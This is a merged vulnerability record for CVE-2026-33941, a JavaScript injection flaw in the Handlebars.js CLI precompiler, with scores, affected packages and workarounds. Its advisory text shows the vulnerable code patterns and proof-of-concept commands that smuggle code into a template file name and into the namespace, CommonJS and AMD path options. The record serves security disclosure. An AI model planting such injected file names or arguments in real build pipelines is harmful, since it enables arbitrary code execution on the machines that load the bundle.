{"id":"CVE-2026-33941","aliases":["CVE-2026-33941","GHSA-xjpj-3mr7-gcpf"],"related":[],"kind":"vulnerability","state":"published","title":"Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options","summary":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than  command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive  paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated  build pipeline.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")'  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Handlebars proporciona la potencia necesaria para permitir a los usuarios construir plantillas semánticas. En las versiones 4.0.0 a 4.7.8, el precompilador CLI de Handlebars (bin/handlebars / lib/precompiler.js) concatena cadenas controladas por el usuario - nombres de archivos de plantilla y varias opciones CLI - directamente en el JavaScript que emite, sin ningún escape o saneamiento. Un atacante que puede influir en los nombres de archivo de plantilla o los argumentos CLI puede inyectar JavaScript arbitrario que se ejecuta cuando el paquete generado se carga en Node.js o un navegador. La versión 4.7.9 corrige el problema. Algunas soluciones alternativas están disponibles. Primero, valide todas las entradas CLI antes de invocar el precompilador. Rechace los nombres de archivo y los valores de opción que contengan caracteres con significado de escape de cadena de JavaScript (”, ’, ;, etc.). Segundo, utilice una cadena de espacio de nombres fija y de confianza pasada a través de un archivo de configuración en lugar de argumentos de línea de comandos en pipelines automatizados. Tercero, ejecute el precompilador en un entorno aislado (contenedor sin acceso de escritura a rutas sensibles) para limitar el impacto de una explotación exitosa. Cuarto, audite los nombres de archivo de plantilla en cualquier repositorio o paquete que sea consumido por un pipeline de compilación automatizado.","source":"nvd"}],"published":"2026-03-27T18:22:10.000Z","modified":"2026-10-26T22:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.3,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"}],"cwes":["CWE-79","CWE-94","CWE-116"],"affected":[{"ranges":[{"version":">= 4.0.0, < 4.7.9","status":"affected"}],"vendor":"handlebars-lang","product":"handlebars.js","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782839279","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/logging-console-plugin-pf4-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782840539","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/logging-console-plugin-pf5-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782839996","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/troubleshooting-panel-console-plugin-pf6-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776744110","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces 3.27","package":"devspaces/code-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3.27::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Cryostat 4","package":"handlebars","cpe":"cpe:/a:redhat:cryostat:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch6-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-operator-bundle","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-proxy-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-rhel9-operator","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/kibana6-rhel8","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/logging-curator5-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Data Grid 8","package":"handlebars","cpe":"cpe:/a:redhat:jboss_data_grid:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Developer Hub","package":"rhdh/rhdh-hub-rhel9","cpe":"cpe:/a:redhat:rhdh:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"thunderbird","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 7","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"389-ds:1.4/389-ds-base","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"mozjs60","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"thunderbird","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"firefox","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"thunderbird","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Process Automation 7","package":"handlebars","cpe":"cpe:/a:redhat:jboss_enterprise_bpms_platform:7","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.7.9"}],"ecosystem":"npm","package":"handlebars","purl":"pkg:npm/handlebars","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"4.0.0","fixed":"4.7.9"}],"vendor":"handlebarsjs","product":"handlebars","cpe":"cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33941","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452524","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33941.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33941","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/handlebars-lang/handlebars.js","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-31T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33941","url":"https://www.cve.org/CVERecord?id=CVE-2026-33941","licence":"CVE Terms of Use","modified":"2026-09-11T12:09:10.318Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xjpj-3mr7-gcpf","url":"https://github.com/advisories/GHSA-xjpj-3mr7-gcpf","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:41.826Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33941","licence":"Public domain","modified":"2026-10-26T22:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:17.452Z","epss":{"score":0.00332,"percentile":0.28436,"date":"2026-12-01T12:00:22.000Z"}}